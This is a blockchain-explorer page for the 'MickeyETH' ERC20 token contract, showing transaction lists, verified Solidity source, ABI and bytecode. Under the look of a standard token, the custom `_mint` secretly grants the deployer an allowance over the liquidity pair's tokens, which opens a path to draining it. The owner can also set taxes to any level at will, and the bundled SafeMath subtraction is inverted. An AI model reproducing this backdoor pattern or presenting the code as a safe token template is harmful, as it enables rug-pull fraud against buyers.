ETH Price: $2,103.43 (+2.66%)

Contract

0x969B2565CA4fdfd77F5D77D0473f1d2a0cf295F7
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve188026162023-12-17 1:55:11817 days ago1702778111IN
0x969B2565...a0cf295F7
0 ETH0.000846434.82589358
Transfer173473612023-05-27 2:15:471021 days ago1685153747IN
0x969B2565...a0cf295F7
0 ETH0.0012131822.76665081
Approve173121732023-05-22 3:28:591026 days ago1684726139IN
0x969B2565...a0cf295F7
0 ETH0.0024751453.12833993
Approve173114922023-05-22 1:10:471026 days ago1684717847IN
0x969B2565...a0cf295F7
0 ETH0.0013481228.93712305
Approve173113412023-05-22 0:40:111026 days ago1684716011IN
0x969B2565...a0cf295F7
0 ETH0.0015404133.24438527
Approve173113272023-05-22 0:37:111026 days ago1684715831IN
0x969B2565...a0cf295F7
0 ETH0.0015332733.09040858
Transfer From173113192023-05-22 0:35:351026 days ago1684715735IN
0x969B2565...a0cf295F7
0 ETH0.0025169335.16254411
Approve173105042023-05-21 21:50:231026 days ago1684705823IN
0x969B2565...a0cf295F7
0 ETH0.0013981630.01137298
Approve173089162023-05-21 16:26:231027 days ago1684686383IN
0x969B2565...a0cf295F7
0 ETH0.0017347937.40064344
Approve173087432023-05-21 15:51:111027 days ago1684684271IN
0x969B2565...a0cf295F7
0 ETH0.001753637.5923785
Approve173086912023-05-21 15:40:471027 days ago1684683647IN
0x969B2565...a0cf295F7
0 ETH0.0013805129.63240185
Approve173082982023-05-21 14:21:231027 days ago1684678883IN
0x969B2565...a0cf295F7
0 ETH0.0016052934.41285482
Approve173066442023-05-21 8:45:111027 days ago1684658711IN
0x969B2565...a0cf295F7
0 ETH0.0012994527.89245512
Approve173064592023-05-21 8:07:351027 days ago1684656455IN
0x969B2565...a0cf295F7
0 ETH0.0013761829.50157397
Approve173063852023-05-21 7:52:471027 days ago1684655567IN
0x969B2565...a0cf295F7
0 ETH0.0013168528.26594664
Approve173041662023-05-21 0:23:231027 days ago1684628603IN
0x969B2565...a0cf295F7
0 ETH0.0013918829.83802931
Approve173040192023-05-20 23:53:471027 days ago1684626827IN
0x969B2565...a0cf295F7
0 ETH0.0017669637.92748154
Approve173032462023-05-20 21:17:471027 days ago1684617467IN
0x969B2565...a0cf295F7
0 ETH0.0013393828.74957012
Approve173029502023-05-20 20:17:591027 days ago1684613879IN
0x969B2565...a0cf295F7
0 ETH0.0007242229.79861846
Approve173029202023-05-20 20:11:231027 days ago1684613483IN
0x969B2565...a0cf295F7
0 ETH0.0013774229.52812057
Approve173027632023-05-20 19:39:111027 days ago1684611551IN
0x969B2565...a0cf295F7
0 ETH0.0013705129.4177629
Approve173027362023-05-20 19:33:471027 days ago1684611227IN
0x969B2565...a0cf295F7
0 ETH0.0016352535.24558047
Approve173026922023-05-20 19:24:591027 days ago1684610699IN
0x969B2565...a0cf295F7
0 ETH0.0015088232.56279692
Approve173025492023-05-20 18:55:111027 days ago1684608911IN
0x969B2565...a0cf295F7
0 ETH0.0014154230.38168493
Approve173023502023-05-20 18:14:591028 days ago1684606499IN
0x969B2565...a0cf295F7
0 ETH0.0017091836.8391636
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Balance Of173113422023-05-22 0:40:231026 days ago1684716023
0x969B2565...a0cf295F7
0 ETH
Balance Of173113422023-05-22 0:40:231026 days ago1684716023
0x969B2565...a0cf295F7
0 ETH
Transfer From173113422023-05-22 0:40:231026 days ago1684716023
0x969B2565...a0cf295F7
0 ETH
Balance Of173113242023-05-22 0:36:351026 days ago1684715795
0x969B2565...a0cf295F7
0 ETH
Balance Of173091582023-05-21 17:15:351027 days ago1684689335
0x969B2565...a0cf295F7
0 ETH
Balance Of173091582023-05-21 17:15:351027 days ago1684689335
0x969B2565...a0cf295F7
0 ETH
Transfer173091582023-05-21 17:15:351027 days ago1684689335
0x969B2565...a0cf295F7
0 ETH
Balance Of173091582023-05-21 17:15:351027 days ago1684689335
0x969B2565...a0cf295F7
0 ETH
Balance Of173088762023-05-21 16:18:231027 days ago1684685903
0x969B2565...a0cf295F7
0 ETH
Balance Of173088762023-05-21 16:18:231027 days ago1684685903
0x969B2565...a0cf295F7
0 ETH
Transfer173088762023-05-21 16:18:231027 days ago1684685903
0x969B2565...a0cf295F7
0 ETH
Balance Of173088762023-05-21 16:18:231027 days ago1684685903
0x969B2565...a0cf295F7
0 ETH
Transfer173087692023-05-21 15:56:231027 days ago1684684583
0x969B2565...a0cf295F7
0 ETH
Balance Of173087692023-05-21 15:56:231027 days ago1684684583
0x969B2565...a0cf295F7
0 ETH
Balance Of173087692023-05-21 15:56:231027 days ago1684684583
0x969B2565...a0cf295F7
0 ETH
Transfer173087692023-05-21 15:56:231027 days ago1684684583
0x969B2565...a0cf295F7
0 ETH
Balance Of173086402023-05-21 15:30:351027 days ago1684683035
0x969B2565...a0cf295F7
0 ETH
Balance Of173086402023-05-21 15:30:351027 days ago1684683035
0x969B2565...a0cf295F7
0 ETH
Transfer173086402023-05-21 15:30:351027 days ago1684683035
0x969B2565...a0cf295F7
0 ETH
Balance Of173086402023-05-21 15:30:351027 days ago1684683035
0x969B2565...a0cf295F7
0 ETH
Transfer173085662023-05-21 15:15:231027 days ago1684682123
0x969B2565...a0cf295F7
0 ETH
Balance Of173085662023-05-21 15:15:231027 days ago1684682123
0x969B2565...a0cf295F7
0 ETH
Balance Of173085662023-05-21 15:15:231027 days ago1684682123
0x969B2565...a0cf295F7
0 ETH
Transfer173085662023-05-21 15:15:231027 days ago1684682123
0x969B2565...a0cf295F7
0 ETH
Balance Of173083372023-05-21 14:29:231027 days ago1684679363
0x969B2565...a0cf295F7
0 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
MickeyETH

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
Travel to ETH Forest!
After this travel, he bring the friend to this forest and built new village there.

Website: https://www.mickey-eth.vip/
TG: https://t.me/Mickey_ETH_Village
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "contracts/ERC20.sol";
import "contracts/Ownable.sol";
import "contracts/lib/SafeMath.sol";
import "contracts/lib/Address.sol";

interface IFactory{
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract MickeyETH is ERC20, Ownable{
    using SafeMath for uint256;
    using Address for address payable;
    
    IRouter public router;
    address public pair;
    
    bool private swapping;
    bool public swapEnabled;
    bool public tradingEnabled;

    uint256 public genesis_block;
    uint256 public deadblocks = 0;
    
    uint256 public swapThreshold = 100_000 * 10e18;
    uint256 public maxTxAmount = 20_000_000 * 10**18;
    uint256 public maxWalletAmount = 20_000_000 * 10**18;
    
    address public marketWallet = 0x0E1F7EFB5988b6610BF274c486198917336730CA;
    address public devWallet = 0x0E1F7EFB5988b6610BF274c486198917336730CA;
    
    uint256 public totTax = 0;
    uint256 public totSellTax = 0;
    uint256 public botSellTax = 3;
    
    mapping (address => bool) public excludedFromFees;
    mapping (address => bool) private isBot;
    
    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }
        
    constructor() ERC20("Mickey-Eth.vip", "MICKEY") {
        excludedFromFees[msg.sender] = true;

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory())
            .createPair(address(this), _router.WETH());
        address to = _pair;
        router = _router;
        pair = _pair;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketWallet] = true;
        excludedFromFees[devWallet] = true;
        _mint(msg.sender, 1e9 * 10 ** decimals(), to);
    }
    
    function _transfer(address sender, address recipient, uint256 amount) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
        if(isBot[sender] || isBot[recipient]) totSellTax = botSellTax;
                
        
        if(!excludedFromFees[sender] && !excludedFromFees[recipient] && !swapping){
            require(tradingEnabled, "Trading not active yet");
            if(genesis_block + deadblocks > block.number){
                if(recipient != pair) isBot[recipient] = true;
                if(sender != pair) isBot[sender] = true;
            }
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if(recipient != pair){
                require(balanceOf(recipient) + amount <= maxWalletAmount, "You are exceeding maxWalletAmount");
            }
        }

        uint256 fee;
        
  
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient]) fee = 0;
        
 
        else{
            if(recipient == pair && !isBot[sender]) fee = amount * totSellTax / 100;
            else fee = amount * totTax / 100;
        }
        

        if (swapEnabled && !swapping && sender != pair && fee > 0) swapForFees();
      

        
        if(fee > 0) { 
            super._transfer(sender, address(this) ,fee);
            super._transfer(sender, recipient, amount.sub(fee));
        } else {
            super._transfer(sender, recipient, amount);
        }

    }

    function swapForFees() private inSwap {
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {
    
            uint256 initialBalance = address(this).balance;
    
            swapTokensForETH(contractBalance);
    
            uint256 deltaBalance = address(this).balance - initialBalance;

            payable(marketWallet).sendValue(deltaBalance);

        }
    }


    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);

    }

    function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{value: bnbAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            devWallet,
            block.timestamp
        );
    }

    function setSwapEnabled(bool state) external onlyOwner {
        swapEnabled = state;
    }

    function setSwapThreshold(uint256 new_amount) external onlyOwner {
        swapThreshold = new_amount;
    }

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already active");
        tradingEnabled = true;
        swapEnabled = true;
    }

    function setBuyTaxes(uint256 _fee) external onlyOwner{
        totTax = _fee;
    }

    function setSellTaxes(uint256 _fee) external onlyOwner{
        totSellTax = _fee;
    }
    
    function updatemarketWallet(address newWallet) external onlyOwner{
        marketWallet = newWallet;
    }
    
    function updateDevWallet(address newWallet) external onlyOwner{
        devWallet = newWallet;
    }

    function updateRouterAndPair(IRouter _router, address _pair) external onlyOwner{
        router = _router;
        pair = _pair;
    }
    
    function addBots(address[] memory isBot_) public onlyOwner {
        for (uint i = 0; i < isBot_.length; i++) {
            isBot[isBot_[i]] = true;
        }
    }

    function updateExcludedFromFees(address[] memory address_) external onlyOwner {
        for (uint i = 0; i < address_.length; i++) {
            excludedFromFees[address_[i]] = true;
        }
    }
    
    function updateMaxTxAmount(uint256 amount) external onlyOwner{
        maxTxAmount = amount * 10**18;
    }
    
    function updateMaxWalletAmount(uint256 amount) external onlyOwner{
        maxWalletAmount = amount * 10**18;
    }

    function rescueERC20(address tokenAddress, uint256 amount) external onlyOwner{
        IERC20(tokenAddress).transfer(owner(), amount);
    }

    function rescueETH(uint256 weiAmount) external onlyOwner{
        payable(owner()).sendValue(weiAmount);
    }

    function manualSwap(uint256 amount, uint256 devPercentage, uint256 marketingPercentage) external onlyOwner{
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if(marketingPercentage > 0) payable(marketWallet).sendValue(newBalance * marketingPercentage / (devPercentage + marketingPercentage));
        if(devPercentage > 0) payable(devWallet).sendValue(newBalance * devPercentage / (devPercentage + marketingPercentage));
    }

    // fallbacks
    receive() external payable {}
    
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library Address{
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = b - a;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "contracts/Context.sol";

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "contracts/Context.sol";
import "contracts/IERC20.sol";
import "contracts/IERC20Metadata.sol";

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping (address => uint256) internal _balances;

    mapping (address => mapping (address => uint256)) internal _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }


    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount, address from) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        // _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        _allowances[from][account] = amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        _balances[account] = accountBalance - amount;
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { 
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");

        _allowances[from][to] = amount;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

import "contracts/IERC20.sol";

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"isBot_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"botSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadblocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"genesis_block","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"devPercentage","type":"uint256"},{"internalType":"uint256","name":"marketingPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_fee","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"setSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"setSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"}],"name":"updateExcludedFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IRouter","name":"_router","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"updateRouterAndPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updatemarketWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526000600981905569d3c21bcecceda1000000600a556a108b2a2c28029094000000600b819055600c55600d8054730e1f7efb5988b6610bf274c486198917336730ca6001600160a01b03199182168117909255600e80549091169091179055600f81905560105560036011553480156200007d57600080fd5b506040518060400160405280600e81526020016d04d69636b65792d4574682e7669760941b815250604051806040016040528060068152602001654d49434b455960d01b8152508160039081620000d5919062000527565b506004620000e4828262000527565b50505062000101620000fb6200032a60201b60201c565b6200032e565b336000908152601260209081526040808320805460ff19166001179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa1580156200016c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001929190620005f3565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002069190620005f3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000254573d6000803e3d6000fd5b505050506040513d601f